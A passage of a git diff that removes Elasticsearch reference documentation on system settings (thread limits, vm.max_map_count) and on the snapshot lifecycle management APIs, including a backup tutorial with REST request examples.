-It is important that it is able to create new threads whenever needed. Make
-sure that the number of threads that the Elasticsearch user can create is at
-least 4096.
-
-This can be done by setting <<ulimit,`ulimit -u 4096`>> as root before
-starting Elasticsearch, or by setting `nproc` to `4096` in
-<<limits.conf,`/etc/security/limits.conf`>>.
-
-The package distributions when run as services under `systemd` will configure
-the number of threads for the Elasticsearch process automatically. No
-additional configuration is required.
diff --git a/docs/reference/setup/sysconfig/virtual-memory.asciidoc b/docs/reference/setup/sysconfig/virtual-memory.asciidoc
deleted file mode 100644
index 67aff16d24a..00000000000
--- a/docs/reference/setup/sysconfig/virtual-memory.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-[[vm-max-map-count]]
-=== Virtual memory
-
-Elasticsearch uses a <<mmapfs,`mmapfs`>> directory by
-default to store its indices.  The default operating system limits on mmap
-counts is likely to be too low, which may result in out of memory exceptions.
-
-On Linux, you can increase the limits by running the following command as
-`root`:
-
-[source,sh]
--------------------------------------
-sysctl -w vm.max_map_count=262144
--------------------------------------
-
-To set this value permanently, update the `vm.max_map_count` setting in
-`/etc/sysctl.conf`.  To verify after rebooting, run `sysctl vm.max_map_count`.
-
-The RPM and Debian packages will configure this setting automatically.  No
-further configuration is required.
diff --git a/docs/reference/slm/apis/index.asciidoc b/docs/reference/slm/apis/index.asciidoc
deleted file mode 100644
index ce03c58e4fa..00000000000
--- a/docs/reference/slm/apis/index.asciidoc
+++ /dev/null
@@ -1,71 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[snapshot-lifecycle-management]]
-== Manage the snapshot lifecycle
-
-You can set up snapshot lifecycle policies to automate the timing, frequency, and retention of snapshots.
-Snapshot policies can apply to multiple data streams and indices.
-
-The snapshot lifecycle management (SLM) <<snapshot-lifecycle-management-api, CRUD APIs>> provide
-the building blocks for the snapshot policy features that are part of the Management application in {kib}.
-The Snapshot and Restore UI makes it easy to set up policies, register snapshot repositories,
-view and manage snapshots, and restore data streams or indices.
-
-You can stop and restart SLM to temporarily pause automatic backups while performing
-upgrades or other maintenance.
-
-[discrete]
-[[slm-and-security]]
-=== Security and SLM
-
-Two built-in cluster privileges control access to the SLM actions when
-{es} {security-features} are enabled:
-
-`manage_slm`:: Allows a user to perform all SLM actions, including creating and updating policies
-and starting and stopping SLM.
-
-`read_slm`:: Allows a user to perform all read-only SLM actions,
-such as getting policies and checking the SLM status.
-
-`cluster:admin/snapshot/*`:: Allows a user to take and delete snapshots of any
-index, whether or not they have access to that index.
-
-For example, the following request configures an `slm-admin` role that grants the privileges
-necessary for administering SLM.
-
-[source,console]
------------------------------------
-POST /_security/role/slm-admin
-{
-  "cluster": ["manage_slm", "cluster:admin/snapshot/*"],
-  "indices": [
-    {
-      "names": [".slm-history-*"],
-      "privileges": ["all"]
-    }
-  ]
-}
------------------------------------
-// TEST[skip:security is not enabled here]
-
-Or, for a read-only role that can retrieve policies (but not update, execute, or
-delete them), as well as only view the history index:
-
-[source,console]
------------------------------------
-POST /_security/role/slm-read-only
-{
-  "cluster": ["read_slm"],
-  "indices": [
-    {
-      "names": [".slm-history-*"],
-      "privileges": ["read"]
-    }
-  ]
-}
------------------------------------
-// TEST[skip:security is not enabled here]
-
-include::getting-started-slm.asciidoc[]
-
-include::slm-retention.asciidoc[]
diff --git a/docs/reference/slm/apis/slm-api.asciidoc b/docs/reference/slm/apis/slm-api.asciidoc
deleted file mode 100644
index f827e3d56c1..00000000000
--- a/docs/reference/slm/apis/slm-api.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[snapshot-lifecycle-management-api]]
-== {slm-cap} APIs
-
-You use the following APIs to set up policies to automatically take snapshots and 
-control how long they are retained. 
-For more information about {slm} ({slm-init}), see <<snapshot-lifecycle-management>>.
-
-[discrete]
-[[slm-api-policy-endpoint]]
-=== Policy management APIs
-
-* <<slm-api-put-policy,Create lifecycle policy>>
-* <<slm-api-get-policy,Get lifecycle policy>>
-* <<slm-api-delete-policy,Delete lifecycle policy>>
-
-[discrete]
-[[slm-api-index-endpoint]]
-=== Snapshot management APIs
-
-* <<slm-api-execute-lifecycle,Execute snapshot lifecycle policy>> (take snapshots)
-* <<slm-api-execute-retention,Execute snapshot retention policy>> (delete expired snapshots)
-
-[discrete]
-[[slm-api-management-endpoint]]
-=== Operation management APIs
-
-* <<slm-api-get-status,Get {slm-init} status>>
-* <<slm-api-get-stats,Get global and policy-level action statistics>>
-* <<slm-api-start,Start {slm-init}>>
-* <<slm-api-stop,Stop {slm-init}>>
-
-include::slm-put.asciidoc[]
-include::slm-get.asciidoc[]
-include::slm-delete.asciidoc[]
-
-include::slm-execute.asciidoc[]
-include::slm-execute-retention.asciidoc[]
-
-include::slm-get-status.asciidoc[]
-include::slm-stats.asciidoc[]
-include::slm-start.asciidoc[]
-include::slm-stop.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-delete.asciidoc b/docs/reference/slm/apis/slm-delete.asciidoc
deleted file mode 100644
index b02eecfc6be..00000000000
--- a/docs/reference/slm/apis/slm-delete.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[[slm-api-delete-policy]]
-=== Delete snapshot lifecycle policy API
-++++
-<titleabbrev>Delete policy</titleabbrev>
-++++
-
-Deletes an existing snapshot lifecycle policy.
-
-[[slm-api-delete-lifecycle-request]]
-==== {api-request-title}
-
-`DELETE /_slm/policy/<snapshot-lifecycle-policy-id>`
-
-[[slm-api-delete-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-delete-lifecycle-desc]]
-==== {api-description-title}
-
-Deletes the specified lifecycle policy definition. 
-This prevents any future snapshots from being taken
-but does not cancel in-progress snapshots
-or remove previously-taken snapshots.
-
-
-[[slm-api-delete-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<policy-id>`::
-(Required, string)
-ID of the snapshot lifecycle policy to delete.
-
-[[slm-api-delete-lifecycle-example]]
-==== {api-examples-title}
-
-////
-[source,console]
---------------------------------------------------
-PUT /_slm/policy/daily-snapshots
-{
-  "schedule": "0 30 1 * * ?", <1>
-  "name": "<daily-snap-{now/d}>", <2>
-  "repository": "my_repository", <3>
-  "config": { <4>
-    "indices": ["data-*", "important"], <5>
-    "ignore_unavailable": false,
-    "include_global_state": false
-  },
-  "retention": { <6>
-    "expire_after": "30d", <7>
-    "min_count": 5, <8>
-    "max_count": 50 <9>
-  }
-}
---------------------------------------------------
-// TEST[setup:setup-repository]
-////
-
-[source,console]
---------------------------------------------------
-DELETE /_slm/policy/daily-snapshots
---------------------------------------------------
-// TEST[continued]
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-execute-retention.asciidoc b/docs/reference/slm/apis/slm-execute-retention.asciidoc
deleted file mode 100644
index 1ff4efd6be3..00000000000
--- a/docs/reference/slm/apis/slm-execute-retention.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[slm-api-execute-retention]]
-=== Execute snapshot retention policy API
-++++
-<titleabbrev>Execute snapshot retention policy</titleabbrev>
-++++
-
-Deletes any snapshots that are expired according to the policy's retention rules.
-
-[[slm-api-execute-retention-request]]
-==== {api-request-title}
-
-`POST /_slm/_execute_retention`
-
-[[slm-api-execute-retention-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-execute-retention-desc]]
-==== {api-description-title}
-
-Manually applies the retention policy to force immediate removal of expired snapshots. 
-The retention policy is normally applied according to its schedule.
-
-[[slm-api-execute-retention-example]]
-==== {api-examples-title}
-
-To force removal of expired snapshots:
-
-[source,console]
---------------------------------------------------
-POST /_slm/_execute_retention
---------------------------------------------------
-
-Retention runs asynchronously in the background.
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-execute.asciidoc b/docs/reference/slm/apis/slm-execute.asciidoc
deleted file mode 100644
index c0ebf9686d7..00000000000
--- a/docs/reference/slm/apis/slm-execute.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[[slm-api-execute-lifecycle]]
-=== Execute snapshot lifecycle policy API
-++++
-<titleabbrev>Execute snapshot lifecycle policy</titleabbrev>
-++++
-
-Immediately creates a snapshot according to the lifecycle policy, 
-without waiting for the scheduled time.
-
-[[slm-api-execute-lifecycle-request]]
-==== {api-request-title}
-
-`PUT /_slm/policy/<snapshot-lifecycle-policy-id>/_execute`
-
-[[slm-api-execute-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-execute-lifecycle-desc]]
-==== {api-description-title}
-
-Manually applies the snapshot policy to immediately create a snapshot. 
-The snapshot policy is normally applied according to its schedule,
-but you might want to manually execute a policy before performing an upgrade
-or other maintenance. 
-
-[[slm-api-execute-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<policy-id>`::
-(Required, string)
-ID of the snapshot lifecycle policy to execute.
-
-[[slm-api-execute-lifecycle-example]]
-==== {api-examples-title}
-
-To take an immediate snapshot according to the `daily-snapshots` policy:
-
-[source,console]
---------------------------------------------------
-POST /_slm/policy/daily-snapshots/_execute
---------------------------------------------------
-// TEST[skip:we can't easily handle snapshots from docs tests]
-
-If successful, this request returns the generated snapshot name:
-
-[source,console-result]
---------------------------------------------------
-{
-  "snapshot_name": "daily-snap-2019.04.24-gwrqoo2xtea3q57vvg0uea"
-}
---------------------------------------------------
-// TESTRESPONSE[skip:we can't handle snapshots from docs tests]
-
-The snapshot is taken in the background. You can use the 
-<<snapshot-lifecycle-management-api,snapshot APIs>> to 
-<<snapshots-monitor-snapshot-restore,monitor the status of the snapshot>>.
-
-To see the status of a policy's most recent snapshot, you can use the 
-<<slm-api-get-policy,get snapshot lifecycle policy API>>.
diff --git a/docs/reference/slm/apis/slm-get-status.asciidoc b/docs/reference/slm/apis/slm-get-status.asciidoc
deleted file mode 100644
index 6d8efcee3a8..00000000000
--- a/docs/reference/slm/apis/slm-get-status.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[[slm-api-get-status]]
-=== Get {slm} status API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {slm} status</titleabbrev>
-++++
-
-Retrieves the status of {slm} ({slm-init}).
-
-[[slm-api-get-status-request]]
-==== {api-request-title}
-
-`GET /_slm/status`
-
-[[slm-api-get-status-desc]]
-==== {api-description-title}
-
-Returns the status of the {slm-init} plugin. 
-The `operation_mode` field in the response shows one of three states: 
-`STARTED`, `STOPPING`, or `STOPPED`. 
-You halt and restart the {slm-init} plugin with the
-<<slm-api-stop, stop>> and <<slm-api-start, start>>  APIs.
-
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[slm-api-get-status-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the 
-`manage_slm` or `read_slm` cluster privileges to use this API. 
-For more information, see <<security-privileges>>.
-
-[[slm-api-get-status-example]]
-==== {api-examples-title}
-
-
-[source,console]
---------------------------------------------------
-GET _slm/status
---------------------------------------------------
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "operation_mode": "RUNNING"
-}
---------------------------------------------------
-// TESTRESPONSE[s/"operation_mode": "RUNNING"/"operation_mode": $body.operation_mode/]
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-get.asciidoc b/docs/reference/slm/apis/slm-get.asciidoc
deleted file mode 100644
index c0614dc820c..00000000000
--- a/docs/reference/slm/apis/slm-get.asciidoc
+++ /dev/null
@@ -1,124 +0,0 @@
-[[slm-api-get-policy]]
-=== Get snapshot lifecycle policy API
-++++
-<titleabbrev>Get policy</titleabbrev>
-++++
-
-Retrieves one or more snapshot lifecycle policy definitions and
-information about the latest snapshot attempts.
-
-[[slm-api-get-request]]
-==== {api-request-title}
-
-`GET /_slm/policy/<policy-id>`
-
-`GET /_slm/policy`
-
-[[slm-api-get-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-get-desc]]
-==== {api-description-title}
-
-Returns the specified policy definition and 
-information about the latest successful and failed attempts to create snapshots. 
-If no policy is specified, returns all defined policies.
-
-[[slm-api-get-path-params]]
-==== {api-path-parms-title}
-
-`<policy-id>`::
-(Optional, string)
-Comma-separated list of snapshot lifecycle policy IDs.
-
-[[slm-api-get-example]]
-==== {api-examples-title}
-
-[[slm-api-get-specific-ex]]
-===== Get a specific policy
-
-////
-[source,console]
---------------------------------------------------
-PUT /_slm/policy/daily-snapshots
-{
-  "schedule": "0 30 1 * * ?", <1>
-  "name": "<daily-snap-{now/d}>", <2>
-  "repository": "my_repository", <3>
-  "config": { <4>
-    "indices": ["data-*", "important"], <5>
-    "ignore_unavailable": false,
-    "include_global_state": false
-  },
-  "retention": { <6>
-    "expire_after": "30d", <7>
-    "min_count": 5, <8>
-    "max_count": 50 <9>
-  }
-}
---------------------------------------------------
-// TEST[setup:setup-repository]
-////
-
-Get the `daily-snapshots` policy:
-
-[source,console]
---------------------------------------------------
-GET /_slm/policy/daily-snapshots?human
---------------------------------------------------
-// TEST[continued]
-
-This request returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "daily-snapshots" : {
-    "version": 1, <1>
-    "modified_date": "2019-04-23T01:30:00.000Z", <2>
-    "modified_date_millis": 1556048137314,
-    "policy" : {
-      "schedule": "0 30 1 * * ?",
-      "name": "<daily-snap-{now/d}>",
-      "repository": "my_repository",
-      "config": {
-        "indices": ["data-*", "important"],
-        "ignore_unavailable": false,
-        "include_global_state": false
-      },
-      "retention": {
-        "expire_after": "30d",
-        "min_count": 5,
-        "max_count": 50
-      }
-    },
-    "stats": {
-      "policy": "daily-snapshots",
-      "snapshots_taken": 0,
-      "snapshots_failed": 0,
-      "snapshots_deleted": 0,
-      "snapshot_deletion_failures": 0
-    },
-    "next_execution": "2019-04-24T01:30:00.000Z", <3>
-    "next_execution_millis": 1556048160000
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"modified_date": "2019-04-23T01:30:00.000Z"/"modified_date": $body.daily-snapshots.modified_date/ s/"modified_date_millis": 1556048137314/"modified_date_millis": $body.daily-snapshots.modified_date_millis/ s/"next_execution": "2019-04-24T01:30:00.000Z"/"next_execution": $body.daily-snapshots.next_execution/ s/"next_execution_millis": 1556048160000/"next_execution_millis": $body.daily-snapshots.next_execution_millis/]
-<1> The version of the snapshot policy, only the latest verison is stored and incremented when the policy is updated
-<2> The last time this policy was modified.
-<3> The next time this policy will be executed.
-
-
-[[slm-api-get-all-ex]]
-===== Get all policies
-
-[source,console]
---------------------------------------------------
-GET /_slm/policy
---------------------------------------------------
-// TEST[continued]
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-put.asciidoc b/docs/reference/slm/apis/slm-put.asciidoc
deleted file mode 100644
index b185ed82b3f..00000000000
--- a/docs/reference/slm/apis/slm-put.asciidoc
+++ /dev/null
@@ -1,149 +0,0 @@
-[[slm-api-put-policy]]
-=== Put snapshot lifecycle policy API
-++++
-<titleabbrev>Put policy</titleabbrev>
-++++
-
-Creates or updates a snapshot lifecycle policy.
-
-
-[[slm-api-put-request]]
-==== {api-request-title}
-
-`PUT /_slm/policy/<snapshot-lifecycle-policy-id>`
-
-[[slm-api-put-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the 
-`manage_slm` cluster privilege and the `manage` index privilege
-for any included indices to use this API. 
-For more information, see <<security-privileges>>.
-
-[[slm-api-put-desc]]
-==== {api-description-title}
-
-Use the put snapshot lifecycle policy API
-to create or update a snapshot lifecycle policy.
-
-If the policy already exists,
-this request increments the policy's version.
-Only the latest version of a policy is stored.
-
-[[slm-api-put-path-params]]
-==== {api-path-parms-title}
-
-`<snapshot-lifecycle-policy-id>`::
-(Required, string)
-ID for the snapshot lifecycle policy
-you want to create or update.
-
-[[slm-api-put-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[role="child_attributes"]
-[[slm-api-put-request-body]]
-==== {api-request-body-title}
-
-`config`::
-(Required, object)
-Configuration for each snapshot created by the policy.
-+
-.Properties of `config`
-[%collapsible%open]
-====
-`ignore_unavailable`::
-(Optional, Boolean)
-If `true`, missing data streams or indices do *not* cause snapshot creation to fail and return
-an error. Defaults to `false`.
-
-`include_global_state`::
-(Optional, Boolean)
-If `true`, cluster states are included in snapshots. Defaults to `false`.
-
-`indices`::
-(Optional, array of strings)
-Array of data streams and indices to include in snapshots.
-<<date-math-index-names,Date math>> and wildcard (`*`) expressions are
-supported.
-====
-
-`name`::
-(Required, string)
-Name automatically assigned to each snapshot created by the policy.
-<<date-math-index-names,Date math>> is supported.
-To prevent conflicting snapshot names, a UUID is automatically appended to each 
-snapshot name.
-
-`repository`::
-(Required, string)
-Repository used to store snapshots created by this policy. This repository must 
-exist prior to the policy's creation. You can create a repository using the 
-<<modules-snapshots,snapshot repository API>>.
-
-[[slm-api-put-retention]]
-`retention`::
-(Optional, object)
-Retention rules used to retain and delete snapshots created by the policy.
-+
-.Properties of `retention`
-[%collapsible%open]
-====
-`expire_after`::
-(Optional, <<time-units, time units>>)
-Time period after which a snapshot is considered expired and eligible for
-deletion.
-
-`max_count`::
-(Optional, integer)
-Maximum number of snapshots to retain, even if the snapshots have not yet
-expired. If the number of snapshots in the repository exceeds this limit, the 
-policy retains the most recent snapshots and deletes older snapshots.
-
-`min_count`::
-(Optional, integer)
-Minimum number of snapshots to retain, even if the snapshots have expired.
-====
-
-`schedule`::
-(Required, <<cron-expressions,Cron syntax>>)
-Periodic or absolute schedule at which the policy creates snapshots and deletes 
-expired snapshots. Schedule changes to existing policies are applied immediately.
-
-[[slm-api-put-example]]
-==== {api-examples-title}
-
-Create a `daily-snapshots` lifecycle policy:
-
-[source,console]
---------------------------------------------------
-PUT /_slm/policy/daily-snapshots
-{
-  "schedule": "0 30 1 * * ?", <1>
-  "name": "<daily-snap-{now/d}>", <2>
-  "repository": "my_repository", <3>
-  "config": { <4>
-    "indices": ["data-*", "important"], <5>
-    "ignore_unavailable": false,
-    "include_global_state": false
-  },
-  "retention": { <6>
-    "expire_after": "30d", <7>
-    "min_count": 5, <8>
-    "max_count": 50 <9>
-  }
-}
---------------------------------------------------
-// TEST[setup:setup-repository]
-
-<1> When the snapshot should be taken, in this case, 1:30am daily
-<2> The name each snapshot should be given
-<3> Which repository to take the snapshot in
-<4> Any extra snapshot configuration
-<5> Data streams and indices the snapshot should contain
-<6> Optional retention configuration
-<7> Keep snapshots for 30 days
-<8> Always keep at least 5 successful snapshots, even if they're more than 30 days old
-<9> Keep no more than 50 successful snapshots, even if they're less than 30 days old
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-start.asciidoc b/docs/reference/slm/apis/slm-start.asciidoc
deleted file mode 100644
index 0e651a111dd..00000000000
--- a/docs/reference/slm/apis/slm-start.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[slm-api-start]]
-=== Start {slm} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Start {slm}</titleabbrev>
-++++
-
-Turns on {slm} ({slm-init}).
-
-[[slm-api-start-request]]
-==== {api-request-title}
-
-`POST /_slm/start`
-
-[[slm-api-start-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-start-desc]]
-==== {api-description-title}
-
-Starts the {slm-init} plugin if it's not running. 
-{slm-init} starts automatically when a cluster is formed. 
-Manually starting {slm-init} is only necessary if it has been stopped using the <<slm-api-stop>>.
-
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[slm-api-start-example]]
-==== {api-examples-title}
-
-Start the {slm-init} plugin:
-
-[source,console]
---------------------------------------------------
-POST _slm/start
---------------------------------------------------
-
-If successful, this request returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-stats.asciidoc b/docs/reference/slm/apis/slm-stats.asciidoc
deleted file mode 100644
index 198ec813dbd..00000000000
--- a/docs/reference/slm/apis/slm-stats.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[slm-api-get-stats]]
-=== Get snapshot lifecycle stats API
-++++
-<titleabbrev>Get snapshot lifecycle stats</titleabbrev>
-++++
-
-Returns global and policy-level statistics about actions taken by {slm}.
-
-[[slm-api-stats-request]]
-==== {api-request-title}
-
-`GET /_slm/stats`
-
-[[slm-api-stats-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-stats-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_slm/stats
---------------------------------------------------
-
-The API returns the following response:
-
-[source,js]
---------------------------------------------------
-{
-  "retention_runs": 13,
-  "retention_failed": 0,
-  "retention_timed_out": 0,
-  "retention_deletion_time": "1.4s",
-  "retention_deletion_time_millis": 1404,
-  "policy_stats": [ ],
-  "total_snapshots_taken": 1,
-  "total_snapshots_failed": 1,
-  "total_snapshots_deleted": 0,
-  "total_snapshot_deletion_failures": 0
-}
---------------------------------------------------
-// TESTRESPONSE[s/runs": 13/runs": $body.retention_runs/ s/_failed": 0/_failed": $body.retention_failed/ s/_timed_out": 0/_timed_out": $body.retention_timed_out/ s/"1.4s"/$body.retention_deletion_time/ s/1404/$body.retention_deletion_time_millis/ s/total_snapshots_taken": 1/total_snapshots_taken": $body.total_snapshots_taken/ s/total_snapshots_failed": 1/total_snapshots_failed": $body.total_snapshots_failed/ s/"policy_stats": [.*]/"policy_stats": $body.policy_stats/]
\ No newline at end of file
diff --git a/docs/reference/slm/apis/slm-stop.asciidoc b/docs/reference/slm/apis/slm-stop.asciidoc
deleted file mode 100644
index 512f61a9486..00000000000
--- a/docs/reference/slm/apis/slm-stop.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[[slm-api-stop]]
-=== Stop {slm} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Stop {slm}</titleabbrev>
-++++
-
-Turn off {slm} ({slm-init}).
-
-[[slm-api-stop-request]]
-==== {api-request-title}
-
-`POST /_slm/stop`
-
-[[slm-api-stop-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the `manage_slm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[slm-api-stop-desc]]
-==== {api-description-title}
-
-Halts all {slm} ({slm-init}) operations and stops the {slm-init} plugin.
-This is useful when you are performing maintenance on a cluster and need to
-prevent {slm-init} from performing any actions on your data streams or indices. 
-Stopping {slm-init} does not stop any snapshots that are in progress.
-You can manually trigger snapshots with the <<slm-api-execute-lifecycle>> even if {slm-init} is stopped.
-
-The API returns a response as soon as the request is acknowledged, but 
-the plugin might continue to run until in-progress operations complete and it can be safely stopped. 
-
-Use the  <<slm-api-get-status>> to see if {slm-init} is running. 
-
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[slm-api-stop-example]]
-==== {api-examples-title}
-
-
-[source,console]
---------------------------------------------------
-POST _slm/stop
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/slm/getting-started-slm.asciidoc b/docs/reference/slm/getting-started-slm.asciidoc
deleted file mode 100644
index cecefecdb71..00000000000
--- a/docs/reference/slm/getting-started-slm.asciidoc
+++ /dev/null
@@ -1,184 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[getting-started-snapshot-lifecycle-management]]
-=== Tutorial: Automate backups with {slm-init}
-
-This tutorial demonstrates how to automate daily backups of {es} data streams and indices using an {slm-init} policy.
-The policy takes <<modules-snapshots, snapshots>> of all data streams and indices in the cluster 
-and stores them in a local repository.
-It also defines a retention policy and automatically deletes snapshots 
-when they are no longer needed.
-
-To manage snapshots with {slm-init}, you:
-
-. <<slm-gs-register-repository, Register a repository>>.
-. <<slm-gs-create-policy, Create an {slm-init} policy>>.
-
-To test the policy, you can manually trigger it to take an initial snapshot. 
-
-[discrete]
-[[slm-gs-register-repository]]
-==== Register a repository
-
-To use {slm-init}, you must have a snapshot repository configured. 
-The repository can be local (shared filesystem) or remote (cloud storage).  
-Remote repositories can reside on S3, HDFS, Azure, Google Cloud Storage, 
-or any other platform supported by a {plugins}/repository.html[repository plugin].
-Remote repositories are generally used for production deployments.
-
-For this tutorial, you can register a local repository from 
-{kibana-ref}/snapshot-repositories.html[{kib} Management]
-or use the put repository API:
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-
-[discrete]
-[[slm-gs-create-policy]]
-==== Set up a snapshot policy
-
-Once you have a repository in place, 
-you can define an {slm-init} policy to take snapshots automatically. 
-The policy defines when to take snapshots, which data streams or indices should be included, 
-and what to name the snapshots. 
-A policy can also specify a <<slm-retention,retention policy>> and 
-automatically delete snapshots when they are no longer needed.
-
-TIP: Don't be afraid to configure a policy that takes frequent snapshots.
-Snapshots are incremental and make efficient use of storage.
-
-You can define and manage policies through {kib} Management or with the put policy API.
-
-For example, you could define a `nightly-snapshots` policy 
-to back up all of your data streams and indices daily at 2:30AM UTC.
-
-A put policy request defines the policy configuration in JSON:
-
-[source,console]
---------------------------------------------------
-PUT /_slm/policy/nightly-snapshots
-{
-  "schedule": "0 30 1 * * ?", <1>
-  "name": "<nightly-snap-{now/d}>", <2>
-  "repository": "my_repository", <3>
-  "config": { <4>
-    "indices": ["*"] <5>
-  },
-  "retention": { <6>
-    "expire_after": "30d", <7>
-    "min_count": 5, <8>
-    "max_count": 50 <9>
-  }
-}
---------------------------------------------------
-// TEST[continued]
-<1> When the snapshot should be taken in
-    <<schedule-cron,Cron syntax>>: daily at 2:30AM UTC
-<2> How to name the snapshot: use  
-    <<date-math-index-names,date math>> to include the current date in the snapshot name
-<3> Where to store the snapshot
-<4> The configuration to be used for the snapshot requests (see below)
-<5> Which data streams or indices to include in the snapshot: all data streams and indices
-<6> Optional retention policy: keep snapshots for 30 days, 
-retaining at least 5 and no more than 50 snapshots regardless of age 
-
-You can specify additional snapshot configuration options to customize how snapshots are taken.
-For example, you could configure the policy to fail the snapshot 
-if one of the specified data streams or indices is missing. 
-For more information about snapshot options, see <<snapshots-take-snapshot,snapshot requests>>.
-
-[discrete]
-[[slm-gs-test-policy]]
-==== Test the snapshot policy
-
-A snapshot taken by {slm-init} is just like any other snapshot. 
-You can view information about snapshots in {kib} Management or 
-get info with the <<snapshots-monitor-snapshot-restore, snapshot APIs>>. 
-In addition, {slm-init} keeps track of policy successes and failures so you 
-have insight into how the policy is working. If the policy has executed at
-least once, the <<slm-api-get-policy, get policy>> API returns additional metadata
-that shows if the snapshot succeeded.
-
-You can manually execute a snapshot policy to take a snapshot immediately. 
-This is useful for taking snapshots before making a configuration change, 
-upgrading, or to test a new policy. 
-Manually executing a policy does not affect its configured schedule. 
-
-Instead of waiting for the policy to run, tell {slm-init} to take a snapshot
-using the configuration right now instead of waiting for 1:30 a.m..
-
-[source,console]
---------------------------------------------------
-POST /_slm/policy/nightly-snapshots/_execute
---------------------------------------------------
-// TEST[skip:we can't easily handle snapshots from docs tests]
-
-
-After forcing the `nightly-snapshots` policy to run, 
-you can retrieve the policy to get success or failure information.
-
-[source,console]
---------------------------------------------------
-GET /_slm/policy/nightly-snapshots?human
---------------------------------------------------
-// TEST[continued]
-
-Only the most recent success and failure are returned, 
-but all policy executions are recorded in the `.slm-history*` indices.
-The response also shows when the policy is scheduled to execute next.
-
-NOTE: The response shows if the policy succeeded in _initiating_ a snapshot.
-However, that does not guarantee that the snapshot completed successfully. 
-It is possible for the initiated snapshot to fail if, for example, the connection to a remote
-repository is lost while copying files.
-
-[source,console-result]
---------------------------------------------------
-{
-  "nightly-snapshots" : {
-    "version": 1,
-    "modified_date": "2019-04-23T01:30:00.000Z",
-    "modified_date_millis": 1556048137314,
-    "policy" : {
-      "schedule": "0 30 1 * * ?",
-      "name": "<nightly-snap-{now/d}>",
-      "repository": "my_repository",
-      "config": {
-        "indices": ["*"],
-      },
-      "retention": {
-        "expire_after": "30d",
-        "min_count": 5,
-        "max_count": 50
-      }
-    },
-    "last_success": {                                                    <1>
-      "snapshot_name": "nightly-snap-2019.04.24-tmtnyjtrsxkhbrrdcgg18a", <2>
-      "time_string": "2019-04-24T16:43:49.316Z",
-      "time": 1556124229316
-    } ,
-    "last_failure": {                                                    <3>
-      "snapshot_name": "nightly-snap-2019.04.02-lohisb5ith2n8hxacaq3mw",
-      "time_string": "2019-04-02T01:30:00.000Z",
-      "time": 1556042030000,
